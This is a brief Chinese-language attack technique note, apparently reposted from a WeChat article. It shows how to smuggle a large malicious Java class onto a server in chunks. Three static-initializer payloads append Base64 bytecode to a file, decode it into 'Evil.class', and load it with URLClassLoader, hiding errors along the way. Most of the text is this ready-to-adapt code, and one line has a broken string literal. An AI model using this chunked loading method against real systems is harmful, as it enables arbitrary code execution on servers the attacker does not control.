可以用追加的方式发送多个请求往指定文件中写入字节码,将真正需要执行的字节码分块
使用Javassist动态生成写入每一分块的Payload,以追加的方式将所有字节码的Base64写入某文件。
static {
try {
String path = "/your/path";
// 创建文件
File file = new File(path);
file.createNewFile();
// 传入true是追加方式写文件
FileOutputStream fos = new FileOutputStream(path, true);
// 需要写入的数据
String data = "BASE64_BYTECODES_PART";
fos.write(data.getBytes());
fos.close();
} catch (Exception ignore) {
}
}
在最后一个包中(,发送字节码的最后一个包,全部倒数第二个包)将字节码进行Base64Decode并写入class文件
(也可以直接写字节码二进制数据,不过个人认为Base64好分割处理一些)
static {
try {
String path = "/your/path";
FileInputStream fis = new FileInputStream(path);
// size取决于实际情况
byte[] data = new byte[size];
fis.read(data);
// 写入Evil.class
FileOutputStream fos = new FileOutputStream("Evil.class");
fos.write(Base64.getDecoder().decode(data));
fos.close();
} catch (Exception ignored) {
}
}
最后一个包使用URLClassLoader进行加载
注意一个小坑,传入URLClassLoader的路径要以file://开头且以/结尾否则会找不到对应的类
static {
try {
String path = "file:///your/path/";
URL url = new URL(path);
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url});
Class<?> clazz = urlClassLoader.loadClass("Evil);
clazz.newInstance();
} catch (Exception ignored) {
}
}
来源:https://mp.weixin.qq.com/s/cQCYhBkR95vIVBicA9RR6g